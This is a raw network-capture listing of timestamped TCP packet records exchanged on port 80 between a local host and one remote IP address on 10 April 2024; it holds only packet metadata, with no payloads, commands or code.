Apr 10, 2024 10:24:11.464694023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464694023 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464767933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464770079 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464807987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464822054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464895010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464896917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464966059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464991093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.465101004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.465235949 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.465307951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.465312958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.465517044 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.465531111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.465590954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.465845108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.465856075 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.465977907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.465986967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.466062069 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466070890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.466073990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466130018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.466139078 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466248989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.466403008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466414928 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466470957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.466479063 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466531992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466553926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466574907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.466604948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.466604948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.466645956 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466746092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.466851950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.466922998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.467125893 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467267036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467427969 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467439890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467587948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467598915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467602968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.467607975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467632055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.467642069 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467653036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467663050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.467685938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.467825890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.467986107 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468039036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468039036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468188047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468200922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468235970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468377113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468400002 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468411922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468413115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468413115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468525887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468540907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468552113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468595982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468728065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468739033 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468769073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468786001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468800068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468823910 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468837976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468837976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468873978 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468883991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.468911886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.468971968 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.469019890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.469075918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.469084024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.469084024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.469089031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.469170094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.469321966 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.469441891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.469472885 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.469597101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.469758034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.469770908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.469782114 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.469822884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.469822884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.469980955 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.469994068 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.470029116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.470077038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.470185995 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.470223904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.470280886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.470280886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.470398903 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.470410109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.470534086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.470565081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.470664024 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.470688105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.470835924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.470835924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.470990896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471019030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.471121073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471132994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471144915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.471178055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.471178055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.471350908 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471460104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471471071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.471549034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.471616030 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471626997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471637011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471702099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.471702099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.471715927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471784115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.471921921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472048044 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472062111 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472083092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472202063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472244024 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472290039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472327948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472364902 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472409010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472409010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472594976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472615004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472665071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472676039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472685099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472709894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472723961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472795010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472855091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.472920895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.472934961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.473144054 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.473160028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.473200083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.473288059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.473444939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.473458052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.473542929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.473758936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.473759890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.473882914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.473893881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.474039078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.474040031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.474106073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.474154949 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.474193096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.474292040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.474355936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.474365950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.474369049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.474412918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.474412918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.474608898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.474622011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.474631071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.474663019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.474663019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.474725008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.474775076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.475286961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.475300074 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.475337029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.475454092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.475460052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.475533009 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.475572109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.475714922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.475799084 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.475876093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.475877047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.475887060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.476070881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.476070881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.476294041 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.476306915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.476355076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.476387978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.476471901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.476525068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.476629019 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.476640940 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.476690054 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.476694107 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.476742983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.476742983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.476897955 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.476934910 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.477072001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.477072001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.477073908 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.477222919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.477257967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.477423906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.477430105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.477597952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.477608919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.477643967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.477802992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.477871895 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.477888107 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.477948904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.477956057 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.478015900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.478018999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.478018999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.478112936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.478177071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.478287935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.478333950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.478403091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.478430033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.478576899 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.478590012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.478691101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.478858948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.478914022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.478914022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.479610920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.479664087 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.479676008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.479691029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.479731083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.479789019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.479815006 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.479836941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.479890108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.479913950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.479923964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.480021000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.480117083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.480247974 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.480304956 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.480348110 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.480372906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.480376959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.480441093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.480441093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.480504036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.480564117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.480622053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.480686903 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.480700016 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.480748892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.480932951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.481781960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.481796980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.481806993 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.481815100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.481817007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.481837988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.482137918 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.482167959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.482228041 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.482278109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.482336998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.482418060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.482580900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.482734919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.482753038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.482888937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.482923031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.482948065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.483002901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.483002901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.483181953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.483195066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.483304024 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.483324051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.483378887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.484252930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.484297037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.484314919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.484388113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.484401941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.484426022 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.484443903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.484590054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.484607935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.484683037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.484703064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.484785080 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.484827995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.484827995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.484858036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.484972000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.485009909 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.485021114 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.485028028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.485032082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.485063076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.485063076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.485198021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.485198975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.485274076 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.485488892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.485508919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.485889912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.485889912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.485944033 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.485990047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.486085892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.486172915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.486192942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.486300945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.486356974 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.486454964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.486509085 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.486520052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.486526966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.486538887 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.486557961 CEST	49718	80	192.168.2.5	185.196.8.137
